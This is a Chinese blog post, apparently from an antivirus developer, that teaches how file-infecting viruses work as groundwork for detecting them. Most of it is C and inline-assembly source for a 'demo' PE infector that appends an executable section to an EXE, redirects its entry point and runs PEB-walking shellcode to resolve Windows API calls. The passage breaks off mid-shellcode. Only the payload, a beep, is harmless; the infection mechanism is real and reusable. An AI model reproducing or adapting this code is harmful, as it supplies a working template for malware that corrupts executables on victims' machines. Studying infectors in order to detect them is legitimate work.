不传之密:杀毒软件开发之感染型病毒查杀、启发式杀毒
- 2019 年 12 月 23 日
- 筆記
在前文《不传之密:杀毒软件开发,原理、设计、编程实战》中,讲述了基于特征码的杀毒软件开发。本文作为继章,将继续介绍杀毒软件开发:感染型病毒的查杀。
编程殿堂中,工作无贵贱,但技术真有高低。在黑暗领域,PE感染型病毒历久以来处于技术金字塔的顶端,长久以来都蒙着一层神密的面纱。但要想编写能查杀感染型病毒的杀毒软件,对这种感染型病毒的编程是必须要了解的。
一般来说,PE感染型病毒,会感染电脑中的可执行文件,一旦被此类病毒入侵,很难清除,在以往通常都只能选择重装系统,可见其危害性。

感染型病毒开发,需要对PE文件格式、C、汇编、系统内核等方面知识,有相当了解。
“感染型病毒”开发
那么,就让我们通过实例,写一个“病毒”来真实了解一下其开发过程:
注:这不是一个真的病毒,此程序运行时会“感染”EXE文件,给其增加一个新“节”,被“感染”的文件启动时,会发出“哔”的一声,仅此而已,演示而用、并无危害。
//包含必要的头文件 #include <windows.h> #include <winnt.h> #include <stdio.h> #include <assert.h> //常量定义 #define DEBUG 1 #define EXTRA_CODE_LENGTH 18 //增加的节的大小 #define SECTION_SIZE 0x1000 //增加的节的名字,设置为:.test #define SECTION_NAME ".test" //文件名最大长度(包括路径) #define FILE_NAME_LENGTH 30 //数量对齐函数 int Align(int size, int ALIGN_BASE) { int ret; int result; assert( 0 != ALIGN_BASE ); result = size % ALIGN_BASE; //余数不为零,也就是没有整除 if (0 != result) { ret = ((size / ALIGN_BASE) + 1) * ALIGN_BASE; } else { ret = size; } return ret; } //工具使用方法 void usage() { printf("Ty2y杀毒软件(www.ty2y.com) - 感染型病毒查杀工具测试用DEMOn"); printf("使用方法:n"); printf("virTest.exe FileNamen"); printf("例如: n"); printf("virTest.exe test.exen"); } //入口函数 int main(int argc, char *argv[]) { //DOS头 IMAGE_DOS_HEADER DosHeader; //NT头 IMAGE_NT_HEADERS NtHeader; //节头 IMAGE_SECTION_HEADER SectionHeader; //要新增加的节的节头 IMAGE_SECTION_HEADER newSectionHeader; //节的数量 int numOfSections; FILE *pNewFile; int FILE_ALIGN_MENT; int SECTION_ALIGN_MENT; char srcFileName[FILE_NAME_LENGTH]; char newFileName[FILE_NAME_LENGTH]; int i; int extraLengthAfterAlign; //新入口点 unsigned int newEP; //原始入口点 unsigned int oldEP; //汇编指令:jmp BYTE jmp; char *pExtra_data; int extra_data_real_length; //判断命令行参数是否为空 if (NULL == argv[1]) { puts("参数错误n"); usage(); exit(0); } //原始文件名 strcpy(srcFileName, argv[1]); //目标文件名 strcpy(newFileName, srcFileName); //给目标文件名再加一个后缀,比如原来是:Test.exe,再增加一次.exe后缀,成为:Test.exe.exe,以此区分与原文件 strcat(newFileName, ".exe"); //复制一份原始文件 if (!CopyFile(srcFileName, newFileName, FALSE)) { //提示错误 puts("复制文件失败"); exit(0); } //打开新文件 //打开方式为"rb+" pNewFile = fopen(newFileName, "rb+"); if (NULL == pNewFile) { puts("打开文件失败"); exit(0); } //定位到文件开始位置 fseek(pNewFile, 0, SEEK_SET); //读取IMAGE_DOS_HEADER fread(&DosHeader, sizeof(IMAGE_DOS_HEADER), 1, pNewFile); //判断是否是PE文件 if (DosHeader.e_magic != IMAGE_DOS_SIGNATURE) { puts("Not a valid PE file"); exit(0); } //再定位到PE文件头,然后读取IMAGE_NT_HEADERS fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET); fread(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile); if (NtHeader.Signature != IMAGE_NT_SIGNATURE) { puts("文件错误,非PE文件"); exit(0); } //经过两次验证,到此处可以确认这是PE文件,接下来可以放心的进行感染操作了 //此PE文件节的数量 numOfSections = NtHeader.FileHeader.NumberOfSections; //文件对齐量 FILE_ALIGN_MENT = NtHeader.OptionalHeader.FileAlignment; //节对齐量 SECTION_ALIGN_MENT = NtHeader.OptionalHeader.SectionAlignment; #if DEBUG //打印出调试信息 printf("FILE_ALIGN_MENT-> %xn", FILE_ALIGN_MENT); printf("SECTION_ALIGN_MENT-> %xn", FILE_ALIGN_MENT); #endif //保存原来的入口地址 oldEP = NtHeader.OptionalHeader.AddressOfEntryPoint; //定位到最后一个SectionHeader for (i = 0; i < numOfSections; i++) { fread(&SectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile); #if DEBUG //打印出调试信息 printf("节的名字:%sn", SectionHeader.Name); #endif } //增加一个新节前的准备工作 extraLengthAfterAlign = Align(EXTRA_CODE_LENGTH, FILE_ALIGN_MENT); //节的总数加一 NtHeader.FileHeader.NumberOfSections++; //先清零 memset(&newSectionHeader, 0, sizeof(IMAGE_SECTION_HEADER)); //修改清零后部分数据:节名 strncpy(newSectionHeader.Name, SECTION_NAME, strlen(SECTION_NAME)); //重新设置VirtualAddress newSectionHeader.VirtualAddress = Align(SectionHeader.VirtualAddress + SectionHeader.Misc.VirtualSize,SECTION_ALIGN_MENT); //重新设置VirtualSize newSectionHeader.Misc.VirtualSize = Align(extraLengthAfterAlign, SECTION_ALIGN_MENT); //重新设置PointerToRawData newSectionHeader.PointerToRawData = Align(SectionHeader.PointerToRawData + SectionHeader.SizeOfRawData,FILE_ALIGN_MENT); //重新设置SizeOfRawData newSectionHeader.SizeOfRawData = Align(SECTION_SIZE, FILE_ALIGN_MENT); //修改新节的属性为:可读、可写、可执行 newSectionHeader.Characteristics = 0xE0000020; #if DEBUG //打印出调试信息 printf("原始SizeOfCode: %xn", NtHeader.OptionalHeader.SizeOfCode); printf("原始SizeOfImage: %xn", NtHeader.OptionalHeader.SizeOfImage); #endif //重新设置NtHeader //重新设置SizeOfCode NtHeader.OptionalHeader.SizeOfCode = Align(NtHeader.OptionalHeader.SizeOfCode + SECTION_SIZE, FILE_ALIGN_MENT); //重新设置SizeOfImage NtHeader.OptionalHeader.SizeOfImage = NtHeader.OptionalHeader.SizeOfImage + Align(SECTION_SIZE, SECTION_ALIGN_MENT); #if DEBUG //打印出调试信息 printf("新的SizeOfCode: %xn", NtHeader.OptionalHeader.SizeOfCode); printf("新的SizeOfImage: %xn", NtHeader.OptionalHeader.SizeOfImage); #endif //Set zero the Bound Import Directory header NtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0; NtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0; //跳转到文件开始位置 fseek(pNewFile, 0, SEEK_END); //新入口地址设置为新节的虚拟地址 newEP = newSectionHeader.VirtualAddress; #if DEBUG //打印出调试信息 printf("原入口地址-> %xn", oldEP); printf("新入口地址-> %xn", ftell(pNewFile)); #endif //设置新的入口地址 NtHeader.OptionalHeader.AddressOfEntryPoint = newEP; //定位到节表尾部 fseek(pNewFile, DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS) + numOfSections * sizeof(IMAGE_SECTION_HEADER),SEEK_SET); #if DEBUG 调试信息 printf("重新节头前当前指针位置-> %xn", ftell(pNewFile)); printf("插入新节名称: %sn", newSectionHeader.Name); #endif //写入重新设置后的节头 fwrite(&newSectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile); #if DEBUG //打印出调试信息 printf("重新节头后当前指针位置-> %xn", ftell(pNewFile)); #endif fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET); #if DEBUG //打印出调试信息 printf("重写NtHeader前当前指针位置-> %xn", ftell(pNewFile)); printf("(IMAGE_NT_HEADERS)大小: %xn", sizeof(IMAGE_NT_HEADERS)); #endif //写入重新设置后的PE文件头(NT头) fwrite(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile); //定位到文件尾部 fseek(pNewFile, 0, SEEK_END); #if DEBUG //打印出调试信息 printf("文件结尾指针-> %xn", ftell(pNewFile)); #endif //写入新节,这里先写入0 for (i=0; i<Align(SECTION_SIZE, FILE_ALIGN_MENT); i++) { fputc(0, pNewFile); } //位到新节的开头 fseek(pNewFile, newSectionHeader.PointerToRawData, SEEK_SET); #if DEBUG //打印出调试信息 printf("重写额外数据前指针-> %xn", ftell(pNewFile)); #endif goto GetExtraData; extra_data_start: _asm pushad //获取kernel32.dll的基址 _asm mov eax, fs:0x30 ;PEB的地址 _asm mov eax, [eax + 0x0c] _asm mov esi, [eax + 0x1c] _asm lodsd _asm mov eax, [eax + 0x08] ;eax就是kernel32.dll的基址 //同时保存kernel32.dll的基址到edi _asm mov edi, eax //通过搜索 kernel32.dll的导出表查找GetProcAddress函数的地址 _asm mov ebp, eax _asm mov eax, [ebp + 3ch] _asm mov edx, [ebp + eax + 78h] _asm add edx, ebp _asm mov ecx, [edx + 18h] _asm mov ebx, [edx + 20h] _asm add ebx, ebp search: _asm dec ecx _asm mov esi, [ebx + ecx * 4] _asm add esi, ebp _asm mov eax, 0x50746547 //比较"PteG" _asm cmp [esi], eax _asm jne search _asm mov eax, 0x41636f72 _asm cmp [esi + 4], eax _asm jne search _asm mov ebx, [edx + 24h] _asm add ebx, ebp _asm mov cx, [ebx + ecx * 2] _asm mov ebx, [edx + 1ch] _asm add ebx, ebp _asm mov eax, [ebx + ecx * 4] //eax保存的就是GetProcAddress的地址 _asm add eax, ebp //为局部变量分配空间 _asm push ebp _asm sub esp, 50h _asm mov ebp, esp //查找beep的地址 //把GetProcAddress的地址保存到ebp + 40中 _asm mov [ebp + 40h], eax //开始查找Beep的地址, 先构造"Beep " //即'